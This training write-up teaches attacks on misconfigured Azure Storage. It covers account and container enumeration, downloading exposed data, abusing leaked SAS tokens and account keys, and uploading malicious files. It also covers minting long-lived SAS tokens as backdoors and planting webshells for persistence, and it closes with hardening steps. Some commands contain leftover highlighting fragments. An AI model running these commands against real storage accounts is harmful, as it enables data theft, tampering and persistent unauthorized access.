Azure Storage Attacks

intermediate30 minWriteup

Finding and exploiting Azure storage misconfigurations

Learning Objectives

  • Find public blob containers
  • Exploit SAS tokens
  • Access storage accounts
  • Find sensitive data

Azure Storage provides cloud storage for blobs (files), files, queues, and tables. Like AWS S3, misconfigured Azure Storage is a goldmine for attackers - public blob containers have leaked everything from database backups to PII. Understanding Azure storage security is crucial for both offense and defense.

Azure storage has multiple access mechanisms: access keys (full control), SAS tokens (scoped, temporary), Azure AD authentication, and anonymous public access. Each creates different attack and defense opportunities.

Blob Storage = Azure's S3

Azure Blob Storage is analogous to AWS S3 - object storage with containers (like buckets) and blobs (like objects). Similar misconfigurations lead to similar breaches.

Azure Storage Structure

1Azure Storage Architecture:
2 
3Storage Account
4
5├── Blob Service (Object Storage)
6│ ├── Containers (like S3 buckets)
7│ │ └── Blobs (files)
8│ │ ├── Block Blobs (general files)
9│ │ ├── Page Blobs (VM disks)
10│ │ └── Append Blobs (logs)
11│ │
12│ └── Access Levels:
13│ ├── Private (default)
14│ ├── Blob (anonymous read for blobs only)
15│ └── Container (anonymous list + read)
16
17├── File Service (SMB shares)
18│ └── File Shares
19
20├── Queue Service (messaging)
21│ └── Queues
22
23└── Table Service (NoSQL)
24 └── Tables
25 
26 
27Storage URLs:
28─────────────────────────────────────────────────────────────────────
29Blob: https:606070;">//{account}.blob.core.windows.net/{container}/{blob}
30File: https:606070;">//{account}.file.core.windows.net/{share}/{file}
31Queue: https:606070;">//{account}.queue.core.windows.net/{queue}
32Table: https:606070;">//{account}.table.core.windows.net/{table}
33 
34 
35Authentication Methods:
36─────────────────────────────────────────────────────────────────────
371. Storage Account Keys │ Full access, like root password
382. SAS Tokens │ Scoped, time-limited access
393. Azure AD │ RBAC, recommended for users
404. Anonymous Access │ Public containers (dangerous!)

Storage Discovery

bash
1606070;"># Finding Azure Storage Accounts
2 
3606070;"># DNS Enumeration
4─────────────────────────────────────────────────────────────────────
5606070;"># Storage account names must be globally unique
6606070;"># Format: {accountname}.{service}.core.windows.net
7 
8606070;"># Check if storage account exists
9curl -I https:606070;">//companybackup.blob.core.windows.net
10606070;"># DNS error = doesn't exist
11606070;"># 400/403 = exists
12 
13606070;"># Common naming patterns:
14606070;"># company, companybackup, companydev, companyprod
15606070;"># companystorage, companystor, companyblob
16606070;"># prod-company, dev-company, backup-company
17 
18 
19606070;"># MicroBurst Blob Enumeration
20─────────────────────────────────────────────────────────────────────
21Import-Module MicroBurst.psm1
22Invoke-EnumerateAzureBlobs -Base company
23 
24606070;"># Tries many combinations:
25606070;"># company, companyweb, companybackup, etc.
26606070;"># Checks for public containers
27 
28 
29606070;"># Manual Container Enumeration
30─────────────────────────────────────────────────────────────────────
31606070;"># If you know the storage account, try common container names
32containers=(606070;">#a5d6ff;">"backup" "data" "files" "logs" "public" "assets" "uploads" "images" "static")
33account=606070;">#a5d6ff;">"companystorage"
34 
35for container in 606070;">#a5d6ff;">"${containers[@]}"; do
36 response=$(curl -s -o /dev/null -w 606070;">#a5d6ff;">"%{http_code}" \
37 606070;">#a5d6ff;">"https://$account.blob.core.windows.net/$container?restype=container&comp=list")
38 if [ 606070;">#a5d6ff;">"$response" == "200" ]; then
39 echo 606070;">#a5d6ff;">"[PUBLIC] $container"
40 elif [ 606070;">#a5d6ff;">"$response" == "403" ]; then
41 echo 606070;">#a5d6ff;">"[EXISTS] $container (not public)"
42 fi
43done
44 
45 
46606070;"># Google Dorks
47─────────────────────────────────────────────────────────────────────
48site:blob.core.windows.net 606070;">#a5d6ff;">"company"
49site:blob.core.windows.net intitle:606070;">#a5d6ff;">"Index of"
50site:blob.core.windows.net filetype:sql
51site:blob.core.windows.net filetype:bak

Exploiting Misconfigured Storage

bash
1606070;"># Exploiting Public Blob Containers
2 
3606070;"># List public container contents
4─────────────────────────────────────────────────────────────────────
5606070;"># If container is public (Container or Blob access level)
6curl 606070;">#a5d6ff;">"https://company.blob.core.windows.net/backup?restype=container&comp=list"
7 
8606070;"># Response includes:
9<EnumerationResults>
10 <Blobs>
11 <Blob>
12 <Name>database-dump-2024.sql</Name>
13 <Properties>...</Properties>
14 </Blob>
15 <Blob>
16 <Name>user-data.csv</Name>
17 ...
18 </Blob>
19 </Blobs>
20</EnumerationResults>
21 
22 
23606070;"># Download public blobs
24─────────────────────────────────────────────────────────────────────
25606070;"># Direct download
26curl -o database.sql 606070;">#a5d6ff;">"https://company.blob.core.windows.net/backup/database-dump-2024.sql"
27 
28606070;"># Using Azure CLI (no auth for public)
29az storage blob download --account-name company --container-name backup --name database-dump-2024.sql --file local.sql --auth-mode anonymous
30 
31606070;"># List with Azure CLI
32az storage blob list --account-name company --container-name backup --auth-mode anonymous
33 
34 
35606070;"># Checking Container Access Level
36─────────────────────────────────────────────────────────────────────
37606070;"># Request without auth:
38606070;"># - 200 with list = Container-level public access
39606070;"># - 404 on list but blob URLs work = Blob-level public access
40606070;"># - 403/404 on both = Private
41 
42curl 606070;">#a5d6ff;">"https://company.blob.core.windows.net/mycontainer?restype=container&comp=list"
43606070;"># vs
44curl 606070;">#a5d6ff;">"https://company.blob.core.windows.net/mycontainer/known-blob.txt"
bash
1606070;"># What to Look For in Storage
2 
3606070;"># Sensitive Files
4─────────────────────────────────────────────────────────────────────
5*.sql, *.bak 606070;"># Database dumps/backups
6*.env, *.config 606070;"># Configuration files
7*.key, *.pem, *.pfx 606070;"># Private keys, certificates
8web.config, appsettings.json 606070;"># .NET configs (connection strings!)
9terraform.tfstate 606070;"># Terraform state (secrets!)
10*.log 606070;"># Log files
11.git/ 606070;"># Git repository
12id_rsa, *.ppk 606070;"># SSH keys
13credentials.xml 606070;"># Jenkins credentials
14 
15606070;"># Download interesting files
16curl -o web.config 606070;">#a5d6ff;">"https://company.blob.core.windows.net/backup/web.config"
17 
18606070;"># Search for connection strings in .NET configs
19grep -i 606070;">#a5d6ff;">"connectionstring|password|secret" web.config
20 
21 
22606070;"># Uploading to Public Containers (if writable)
23─────────────────────────────────────────────────────────────────────
24606070;"># Check if you can write
25echo 606070;">#a5d6ff;">"test" > test.txt
26curl -X PUT --data-binary @test.txt 606070;">#a5d6ff;">"https://company.blob.core.windows.net/public/test.txt" -H "x-ms-blob-type: BlockBlob"
27 
28606070;"># If successful, you can:
29606070;"># - Host phishing pages
30606070;"># - Upload malicious files
31606070;"># - Deface/modify existing content

Check All Container Access Levels

A storage account can have multiple containers with different access levels. One public container in a sea of private ones can still leak critical data. Enumerate all containers.

SAS Token Attacks

1SAS Token (Shared Access Signature) Anatomy:
2 
3Example SAS URL:
4https:606070;">//company.blob.core.windows.net/backup/data.sql?
5 sv=2021-06-08 606070;"># Storage version
6 &ss=b 606070;"># Services: (b)lob, (f)ile, (q)ueue, (t)able
7 &srt=sco 606070;"># Resource types: (s)ervice, (c)ontainer, (o)bject
8 &sp=rwdlacupx 606070;"># Permissions
9 &se=2024-12-31T23:59:59Z 606070;"># Expiry
10 &st=2024-01-01T00:00:00Z 606070;"># Start time
11 &spr=https 606070;"># Protocol
12 &sig=BASE64SIGNATURE 606070;"># Cryptographic signature
13 
14Permission Codes:
15─────────────────────────────────────────────────────────────────────
16r = Read
17w = Write
18d = Delete
19l = List
20a = Add
21c = Create
22u = Update
23p = Process (queues)
24x = Execute
25i = Immutability policy
26t = Tag operations
27 
28SAS Types:
29─────────────────────────────────────────────────────────────────────
30Account SAS │ Access to multiple services/containers
31 │ Signed with storage account key
32
33Service SAS │ Access to specific service/container
34 │ Signed with account key or stored policy
35
36User Delegation│ Limited to blob service
37SAS │ Signed with Azure AD credentials
38 │ Most secure (no account key exposure)
bash
1606070;"># Finding and Exploiting SAS Tokens
2 
3606070;"># Where SAS Tokens Leak
4─────────────────────────────────────────────────────────────────────
5- Application source code
6- JavaScript files (check bundle.js, main.js)
7- Mobile app binaries
8- CI/CD configuration files
9- Log files
10- Proxy logs (Burp, browser dev tools)
11- Error messages
12- API responses
13 
14606070;"># Search for SAS tokens
15grep -r 606070;">#a5d6ff;">"sv=.*&sig=" /path/to/code
16grep -r 606070;">#a5d6ff;">"blob.core.windows.net.*?" /path/to/code
17 
18 
19606070;"># Using Found SAS Token
20─────────────────────────────────────────────────────────────────────
21606070;"># List containers (if account-level SAS with list permission)
22curl 606070;">#a5d6ff;">"https://company.blob.core.windows.net/?comp=list&SAS_TOKEN"
23 
24606070;"># List blobs in container
25curl 606070;">#a5d6ff;">"https://company.blob.core.windows.net/backup?restype=container&comp=list&SAS_TOKEN"
26 
27606070;"># Download blob
28curl -o data.sql 606070;">#a5d6ff;">"https://company.blob.core.windows.net/backup/data.sql?SAS_TOKEN"
29 
30606070;"># Upload if write permission exists
31curl -X PUT --data-binary @malicious.txt 606070;">#a5d6ff;">"https://company.blob.core.windows.net/backup/evil.txt?SAS_TOKEN" -H "x-ms-blob-type: BlockBlob"
32 
33 
34606070;"># Check SAS Permissions
35─────────────────────────────────────────────────────────────────────
36606070;"># Decode the SAS token parameters
37606070;"># sp= tells you permissions (rwdlacupx)
38606070;"># se= tells you expiration
39606070;"># srt= tells you resource scope
40 
41606070;"># Example: sp=rwdl means Read, Write, Delete, List
42606070;"># Very dangerous if found!
43 
44 
45606070;"># SAS Token from Azure Portal/CLI
46─────────────────────────────────────────────────────────────────────
47606070;"># If you have Azure access, generate SAS for pivot
48az storage container generate-sas --account-name company --name backup --permissions rwdl --expiry 2025-01-01 --auth-mode key

Long-lived SAS Tokens

SAS tokens often have very long expiration times ("we'll rotate them later"). A leaked SAS token from years ago might still be valid. Always test found tokens regardless of when they were created.

Storage Account Key Exploitation

bash
1606070;"># Storage Account Keys - Full Access
2 
3606070;"># Finding Storage Keys
4─────────────────────────────────────────────────────────────────────
5606070;"># In code/configs:
6grep -r 606070;">#a5d6ff;">"DefaultEndpointsProtocol=https;AccountName=" /path
7grep -r 606070;">#a5d6ff;">"AccountKey=" /path
8 
9606070;"># Format:
10606070;"># DefaultEndpointsProtocol=https;AccountName=company;AccountKey=BASE64KEY;EndpointSuffix=core.windows.net
11 
12606070;"># In Azure (if you have access):
13az storage account keys list --account-name company
14 
15 
16606070;"># Using Storage Keys
17─────────────────────────────────────────────────────────────────────
18606070;"># Azure CLI with key
19export AZURE_STORAGE_ACCOUNT=company
20export AZURE_STORAGE_KEY=BASE64KEY
21 
22606070;"># List containers
23az storage container list
24 
25606070;"># List all blobs
26az storage blob list --container-name backup
27 
28606070;"># Download everything
29az storage blob download-batch --destination ./loot --source backup
30 
31606070;"># Upload malicious files
32az storage blob upload --container-name backup --name evil.txt --file evil.txt
33 
34 
35606070;"># Azure Storage Explorer (GUI)
36─────────────────────────────────────────────────────────────────────
37606070;"># Download Azure Storage Explorer
38606070;"># Connect using: Account name + key
39606070;"># Browse and download/upload graphically
40 
41 
42606070;"># Generating SAS from Key
43─────────────────────────────────────────────────────────────────────
44606070;"># With the key, generate persistent SAS tokens
45az storage account generate-sas --account-name company --services bfqt --resource-types sco --permissions rwdlacup --expiry 2030-01-01 --account-key $AZURE_STORAGE_KEY
46 
47606070;"># This creates a long-lived backdoor even if key is rotated later
48606070;"># (Depending on SAS type)

Account Keys = Root Access

Storage account keys provide full access to ALL data in the storage account. They cannot be scoped or restricted. Treat exposed account keys as a critical incident.

Authenticated Enumeration

bash
1606070;"># Storage Enumeration with Azure Access
2 
3606070;"># List all storage accounts
4az storage account list --query 606070;">#a5d6ff;">'[].{Name:name, RG:resourceGroup}'
5 
6606070;"># Get storage account details
7az storage account show --name company --resource-group myRG
8 
9606070;"># Check public access setting
10az storage account show --name company --query 606070;">#a5d6ff;">"allowBlobPublicAccess"
11 
12606070;"># List containers
13az storage container list --account-name company --auth-mode login
14 
15606070;"># Get container access level
16az storage container show --name backup --account-name company --query 606070;">#a5d6ff;">"properties.publicAccess"
17 
18606070;"># List blobs
19az storage blob list --container-name backup --account-name company --auth-mode login
20 
21 
22606070;"># Check Your Permissions
23─────────────────────────────────────────────────────────────────────
24606070;"># RBAC roles on storage:
25606070;"># - Storage Account Contributor (manage account, not data)
26606070;"># - Storage Blob Data Owner (full blob access)
27606070;"># - Storage Blob Data Contributor (read/write blobs)
28606070;"># - Storage Blob Data Reader (read blobs)
29 
30az role assignment list --scope /subscriptions/SUB_ID/resourceGroups/RG/providers/Microsoft.Storage/storageAccounts/company
31 
32 
33606070;"># Enumerate Across Subscriptions
34─────────────────────────────────────────────────────────────────────
35606070;"># List all storage accounts in all subscriptions you can access
36for sub in $(az account list --query 606070;">#a5d6ff;">'[].id' -o tsv); do
37 echo 606070;">#a5d6ff;">"=== Subscription: $sub ==="
38 az storage account list --subscription $sub --query 606070;">#a5d6ff;">'[].name' -o tsv
39done

Azure Storage Defenses

bash
1606070;"># Securing Azure Storage
2 
3606070;"># 1. Disable Public Blob Access (Account Level)
4─────────────────────────────────────────────────────────────────────
5az storage account update --name company --resource-group myRG --allow-blob-public-access false
6 
7 
8606070;"># 2. Set All Containers to Private
9─────────────────────────────────────────────────────────────────────
10az storage container set-permission --name backup --account-name company --public-access off
11 
12 
13606070;"># 3. Enable Storage Firewall
14─────────────────────────────────────────────────────────────────────
15606070;"># Allow only specific IPs/VNets
16az storage account update --name company --default-action Deny
17 
18az storage account network-rule add --account-name company --ip-address YOUR_IP
19 
20 
21606070;"># 4. Require HTTPS
22─────────────────────────────────────────────────────────────────────
23az storage account update --name company --https-only true
24 
25 
26606070;"># 5. Enable Soft Delete (Recovery)
27─────────────────────────────────────────────────────────────────────
28az storage blob service-properties delete-policy update --account-name company --enable true --days-retained 30
29 
30 
31606070;"># 6. Enable Storage Logging
32─────────────────────────────────────────────────────────────────────
33az storage logging update --account-name company --log rwd --retention 90 --services b
34 
35 
36606070;"># 7. Rotate Storage Keys Regularly
37─────────────────────────────────────────────────────────────────────
38az storage account keys renew --account-name company --key key1
39 
40 
41606070;"># 8. Use Azure AD Instead of Keys
42─────────────────────────────────────────────────────────────────────
43606070;"># Assign RBAC roles instead of sharing keys
44az role assignment create --role 606070;">#a5d6ff;">"Storage Blob Data Reader" --assignee user@company.com --scope /subscriptions/xxx/resourceGroups/rg/providers/Microsoft.Storage/storageAccounts/company

Azure Storage Attack Methodology

Azure Storage Security Assessment

1
DiscoveryEnumerate storage account names via DNS brute force, MicroBurst, subdomain enumeration.
2
Public Access CheckTest each discovered account for public containers. Try listing and downloading anonymously.
3
SAS Token HuntingSearch code, configs, logs for SAS tokens. Test found tokens for validity and permissions.
4
Key DiscoveryLook for storage account keys in code, configs, Azure automation accounts, Key Vault.
5
Data ExtractionDownload accessible data. Search for credentials, PII, backups, configuration files.
6
PersistenceIf write access exists, consider uploading webshells, modifying config files, or planting backdoors.

Knowledge Check

Quick Quiz
Question 1 of 3

What is the URL format for Azure Blob Storage?

Challenges

Azure Storage Enumeration Script

Challenge
🔥 intermediate

Write a script that takes a company name and: 1) Generates common storage account name variations, 2) Checks if each exists, 3) Tests for public container access, 4) Reports findings.

Need a hint? (4 available)

Key Takeaways

  • Azure Blob Storage is like AWS S3 - public containers are a major breach source
  • Storage account keys provide FULL access - treat as critical secrets
  • SAS tokens often have excessive permissions and long expiration times
  • Container-level public access allows listing; Blob-level only allows direct access
  • Use az storage with --auth-mode login for Azure AD auth instead of keys
  • Disable public blob access at the account level for defense